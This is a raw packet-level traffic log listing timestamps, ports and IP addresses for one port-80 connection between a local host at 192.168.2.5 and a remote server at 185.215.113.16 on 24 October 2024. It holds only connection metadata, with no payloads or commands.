Oct 24, 2024 08:38:14.066055059 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.066068888 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.066090107 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.066093922 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.066097021 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.066108942 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.066123962 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.066128016 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.066135883 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.066148043 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.066159010 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.066164017 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.066176891 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.066184044 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.066194057 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.066204071 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.066210985 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.066211939 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.066230059 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.066236019 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.066243887 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.066250086 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.066258907 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.066262960 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.066276073 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.066277981 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.066291094 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.066293955 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.066313982 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.066315889 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.066320896 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.066354036 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.066462994 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.066478968 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.066494942 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.066505909 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.066513062 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.066534042 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.066644907 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.066658974 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.066673994 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.066689014 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.066692114 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.066704035 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.066705942 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.066720963 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.066732883 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.066739082 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.066759109 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.066783905 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.066807985 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.066821098 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.066832066 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.066862106 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.066869974 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.066951990 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.066967964 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.066983938 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.066994905 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.066998959 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.067003965 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.067015886 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.067023993 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.067034960 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.067039013 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.067058086 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.067066908 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.067107916 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.067122936 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.067138910 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.067147970 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.067153931 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.067166090 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.067173004 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.067195892 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.067226887 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.067270041 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.067449093 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.067465067 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.067481041 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.067496061 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.067497015 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.067506075 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.067512989 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.067527056 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.067534924 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.067553997 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.067619085 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.067634106 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.067651987 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.067657948 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.067675114 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.067687988 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.067792892 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.067811012 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.067826986 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.067841053 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.067842007 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.067857981 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.067863941 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.067874908 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.067888021 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.067903042 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.067915916 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.067951918 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.067969084 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.067995071 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.068037033 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.099916935 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.099932909 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.099948883 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.099977016 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.099992037 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.100007057 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.100052118 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.100105047 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.104963064 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.105021000 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.105035067 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.105057955 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.105067015 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.105074883 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.105089903 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.105104923 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.105190992 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.105269909 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.128357887 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.128391027 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.128407001 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.128424883 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.128439903 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.128525972 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.128582954 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.161916018 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.161933899 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.161951065 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.161966085 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.161973000 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.161995888 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.162014008 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.162022114 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.162040949 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.162050009 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.162058115 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.162074089 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.162092924 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.162106037 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.162106991 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.162117958 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.162134886 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.162137985 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.162153006 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.162163019 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.162184954 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.162276983 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.162327051 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.162327051 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.162388086 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.162404060 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.162420034 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.162444115 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.162461996 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.162477016 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.162492037 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.162529945 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.162529945 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.173266888 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.173281908 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.173299074 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.173315048 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.173320055 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.173331976 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.173347950 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.173369884 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.173369884 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.173418045 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.173434019 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.173435926 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.173449993 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.173465967 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.173465967 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.173465967 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.173482895 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.173486948 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.173500061 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.173513889 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.173513889 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.173516989 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.173535109 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.173535109 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.173548937 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.173554897 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.173582077 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.173592091 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.173605919 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.173631907 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.173631907 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.173644066 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.173666000 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.173683882 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.173698902 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.173712015 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.173712015 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.173737049 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.183083057 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.183099031 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.183114052 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.183137894 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.183141947 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.183156967 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.183171988 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.183185101 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.183185101 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.183199883 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.183212996 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.183214903 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.183229923 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.183243990 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.183259010 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.183274984 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.183276892 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.183276892 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.183317900 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.183342934 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.183355093 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.183358908 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.183374882 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.183387995 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.183394909 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.183404922 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.183408022 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.183422089 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.183437109 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.183450937 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.183466911 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.183470011 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.183470011 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.183481932 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.183522940 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.183522940 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.192711115 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.192728996 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.192755938 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.192770958 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.192775011 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.192787886 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.192789078 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.192801952 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.192805052 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.192821026 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.192828894 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.192828894 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.192836046 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.192837000 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.192863941 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.192878962 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.192878962 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.192878962 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.192897081 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.192914009 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.192914009 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.192919016 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.192934036 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.192950010 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.192950010 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.192950964 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.192969084 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.192985058 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.192997932 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.193021059 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.193039894 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.193063974 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.193078995 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.193078995 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.193079948 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.193094969 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.193120956 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.193136930 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.193141937 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.193141937 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.193164110 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.193178892 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.193185091 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.193185091 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.193192005 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.193195105 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.193209887 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.193224907 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.193231106 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.193231106 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.193248987 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.193275928 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.193289995 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.193294048 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.193310976 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.193326950 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.193336010 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.193336010 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.193341970 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.193346024 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.193358898 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.193373919 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.193380117 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.193380117 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.193391085 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.193407059 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.193411112 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.193411112 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.193423033 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.193439007 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.193444967 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.193444967 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.193455935 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.193471909 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.193475008 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.193475008 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.193490028 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.193504095 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.193507910 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.193507910 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.193540096 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.193541050 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.217093945 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.217108965 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.217123032 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.217149973 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.217164993 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.217180014 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.217185974 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.217185974 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.217230082 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.217230082 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.222186089 CEST	80	60982	185.215.113.16	192.168.2.5
